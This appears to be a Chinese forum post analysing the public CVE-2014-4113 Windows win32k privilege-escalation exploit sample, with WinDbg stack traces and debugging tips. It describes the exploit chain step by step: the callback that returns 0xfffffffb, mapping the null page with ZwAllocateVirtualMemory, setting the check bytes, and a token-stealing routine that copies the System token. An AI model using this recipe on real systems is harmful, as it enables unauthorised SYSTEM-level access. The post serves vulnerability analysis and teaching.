CVE-2014-4113分析摘要
好吧,既然CVE-2014-4113的sample都已经公开了,就没必要隐藏细节了,只捡最重要的部分提,大拿们自动忽略, PS:不好意思,源码这个真没有,不过F5下也差不多了
1. 一张Vulnerability点callstack图简明说明利用漏洞时的调用过程
USER32!TrackPopupMenu->Enter Rin0-> win32k!xxxTrackPopupMenuEx
-> win32k!xxxMNLoop
->win32k!xxxHandleMenuMessages-> win32k !xxxMNFindWindowFromPoint 获取之前的WndProc 里返回的精心选择的0xfffffffb(层层叠叠对WndProc filter了多次, 只在特定的0x1EB消息等才返回0xfffffffb, 具体怎么以及为什么这样控制,想必很有趣,哪个大拿分析下?)
-> win32k !xxxSendMessage (0xfffffffb,)-> win32k !xxxSendMessageTimeout(0xfffffffb,)
-> Bypass [esi+0xX] check
-> call dword ptr [esi+60h] //esi=0xfffffffb, 也就是NullPage中0x5B处的地址会被ring0执行,本sample中该地址是提权函数
实际堆栈见下:
kd> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
9581ba60 9257b3c5 fffffffb 000001ed 0191fdb4 win32+0x1830 //Token Esclation function address in user mode
9581ba88 925fbe75 fffffffb 000001ed 0191fdb4 win32k!xxxSendMessage+0x28 (FPO: [4,0,0])
9581bae8 925fb7b1 9581bb08 00000000 0191fdb4 win32k!xxxHandleMenuMessages+0x58c (FPO: [3,15,4])
9581bb34 92601717 fe62f320 926e57e0 00000000 win32k!xxxMNLoop+0x2fa (FPO: [4,11,4])
9581bba0 92601802 fec9bc20 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5fd (FPO: [6,18,4])
9581bc14 82a508c6 013004d9 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [SEH])
9581bc14 77a970f4 013004d9 00000000 ffffd8f0 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ 9581bc34)
0191fdc8 774a483e 77492243 013004d9 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0191fdcc 77492243 013004d9 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
0191fdec 01251604 013004d9 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [7,0,0])
0191fe78 77beee1c 00000000 0191fec4 77ab37eb win32+0x1604
0191fe84 77ab37eb 00000000 66a76558 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [1,0,0])
0191fec4 77ab37be 01251526 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [SEH])
0191fedc 00000000 01251526 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [2,2,0])
kd> r eip
eip=01251830
kd> dd esp 9581ba24 9257b2f3 fffffffb 000001ed 0191fdb4
针对本步的详细调试log以及关键点说明见附件(本人不喜文章中过多图文:))
4113分析-下断单步跟踪到提权Code.txt
2. 0xfffffffb 这个诡异的数字怎从win32.exe用户态代码传入win32k.sys?
简单来讲是
win32k!xxxMNFindWindowFromPoint->
->xxxSendMessage->反向过程调用->获取R3中WinProc return的-5
//用户态
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0198f5bc 7748c4e7 001406fe 000001eb 0198f6ec win32+0x146d
\\这里是设置的WinProc会push 0xfffffffb, pop eax
0198f5e8 7748c5e7 003013f3 001406fe 000001eb USER32!InternalCallWinProc+0x23
0198f660 77484f0e 00000000 003013f3 001406fe USER32!UserCallWinProcCheckWow+0x14b (FPO: [SEH])
0198f6bc 774bf0a3 00759e30 000001eb 0198f6ec USER32!DispatchClientMessage+0xda (FPO: [SEH])
0198f6e4 77a9702e 0198f6fc 00000018 0198f7fc USER32!__fnOUTDWORDINDWORD+0x2a (FPO: [1,3,0])
0198f6e4 82a91c2c 0198f6fc 00000018 0198f7fc ntdll!KiUserCallbackDispatcher+0x2e (FPO: [0,0,0])
00000000 00000000 00000000 00000000 00000400 nt!KiCallUserMode+0x4 (FPO: [3,0,4])
//反向过程调用,R0 call R3
//内核态
ChildEBP RetAddr Args to Child
abca58f0 9263a574 00000021 abca5934 00000018 nt!KeUserModeCallback+0xec
abca5984 92575e95 fec69e30 000001eb abca5a94 win32k!SfnOUTDWORDINDWORD+0xc0 (FPO: [SEH])
abca59cc 9257b316 08c69e30 000001eb abca5a94 win32k!xxxSendMessageToClient+0x175 (FPO: [7,5,4])
abca5a18 9257b3c5 fec69e30 000001eb abca5a94 win32k!xxxSendMessageTimeout+0x1cf (FPO: [8,7,4])
abca5a40 925fc1c7 fec69e30 000001eb abca5a94 win32k!xxxSendMessage+0x28 (FPO: [4,0,0])
// xxxSendMessage会接受R3下的0xfffffffb,用于win32k的exploit
abca5a8c 925fb986 fe9fd0c8 abca5af8 00000000 win32k!xxxMNFindWindowFromPoint+0x58 (FPO: [3,10,4])
abca5ae8 925fb7b1 abca5b08 926e57e0 00000000 win32k!xxxHandleMenuMessages+0x9e (FPO: [3,15,4])
abca5b34 92601717 fe9fd0c8 926e57e0 00000000 win32k!xxxMNLoop+0x2fa (FPO: [4,11,4])
abca5ba0 92601802 fec8ffa0 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5fd (FPO: [6,18,4])
abca5c14 82a508c6 0023081d 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [SEH])
abca5c14 77a970f4 0023081d 00000000 ffffd8f0 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ abca5c34)
0198f710 774a483e 77492243 0023081d 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0198f714 77492243 0023081d 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
0198f734 00301604 0023081d 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [7,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.
0198f7c0 77beee1c 00000000 0198f80c 77ab37eb win32+0x1604
0198f7cc 77ab37eb 00000000 667e23dc 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [1,0,0])
0198f80c 77ab37be 00301526 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [SEH])
0198f824 00000000 00301526 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [2,2,0])
针对本步的详细调试log以及关键点说明见附件
4113分析调试log--0xfffffffb怎么传入win32k-1.txt
3. Map NullPage
v6 = 8192;
*(_DWORD *)a1 = 1;
v2 = GetCurrentProcess();
if ( fnZwAllocateVirtualMemory(v2, a1, 0, &v6, 1060864, 64) )
4. NullPage事先还要在特定的地址deploy一些特定的内容,使得xxxSendMessageTimeout函数头可以执行到靠中间的call dword ptr [esi+60h]。
e.g.
win32k!xxxSendMessageTimeout+0x179:
9257b2c0 f6461604 test byte ptr [esi+16h],4
kd> dd esi+16h L1
00000011 00000004
kd> ? esi+16h
Evaluate expression: 17 = 00000011
所以0x11处要设置为0x4
其他的以此类推
5. 提权函数逻辑很简单,
*((EPROCESS*)(PsLookupProcessByProcessId(currentPID)).Token)=
*((EPROCESS*)(PsLookupProcessByProcessId(4/*system*/)).Token)
6. 奉送调试技巧:
a. 因为需要同时跟踪Ring3,Ring0代码,建议双机调试。
b. !process 0 0 win32.exe 找到win32.exe对应的EPROCESS,
c. ba e1 /p EPROCESS 0xXXXXXXXX(用户态地址任意下断)
d. 有时候要断在win32.exe的入口点查看信息,之后继续(e.g. 开启ALSR后查看每次启动后的主模块基址)
可以windbg Open EXE->任意指令(e.g. lm)->qd( quit debug and let exe continue to run)
e. dps ETHREAD.Tcb.KernelStack L200 查看内核堆栈
f. kv = caller-bp bp return 还原callstack
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: